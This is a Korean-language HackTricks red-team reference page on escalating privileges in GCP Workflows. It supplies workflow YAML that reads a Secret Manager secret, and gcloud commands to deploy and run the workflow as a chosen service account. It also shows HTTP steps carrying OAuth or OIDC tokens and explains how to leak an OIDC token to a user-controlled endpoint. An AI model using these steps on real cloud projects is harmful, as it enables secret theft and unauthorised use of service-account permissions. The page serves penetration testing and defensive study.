GCP - Workflows Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

내가 알기로는 Workflow에 연결된 SA의 자격 증명을 포함한 메타데이터 엔드포인트에 접근할 수 있는 shell을 얻는 것은 불가능합니다. 그러나 Workflow 내에 수행할 작업을 추가하여 해당 SA의 권한을 남용하는 것은 가능합니다.

커넥터 문서는 확인할 수 있습니다. 예를 들어, page of the Secretmanager connector. 사이드바에서 여러 다른 커넥터도 찾을 수 있습니다.

다음은 시크릿을 출력하는 커넥터의 예시입니다:

Workflow YAML 구성으로 secrets에 접근하기 ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

CLI에서 업데이트:

CLI에서 workflows 배포 및 실행 ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`와 같은 오류가 발생하면, 그냥 **잠시 기다렸다가 다시 시도하세요**.

웹 액세스가 없으면 Workflow의 실행을 트리거하고 확인할 수 있습니다:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

이전 실행의 출력을 확인하여 민감한 정보를 찾을 수도 있습니다

권한이 없어 PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... 같은 오류가 발생하더라도, workflow는 생성되었다는 점에 유의하세요.

Leak OIDC token (and OAuth?)

to the docs에 따르면 workflow 단계에서 OAuth 또는 OIDC 토큰을 포함한 HTTP 요청을 전송할 수 있습니다. 하지만 Cloud Scheduler의 경우와 마찬가지로 OAuth 토큰을 포함한 HTTP 요청은 호스트 .googleapis.com로 보내야 합니다.

Caution

따라서, 사용자가 제어하는 HTTP 엔드포인트를 지정하면 possible to leak the OIDC token by indicating a HTTP endpoint이 가능하지만, OAuth 토큰을 leak하려면 해당 보호를 우회할 need a bypass가 필요합니다. 그러나 connectors 또는 OAuth 토큰을 포함한 HTTP 요청을 사용하여 contact any GCP api to perform actions on behalf the SA하는 것은 여전히 가능합니다.

Oauth

Workflow의 OAuth 토큰 포함 HTTP 요청 ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
OIDC 토큰을 사용한 Workflow HTTP 요청 ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

이 권한을 사용하면 workflows.workflows.create 대신 이미 존재하는 workflow를 업데이트하고 동일한 공격을 수행할 수 있습니다.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기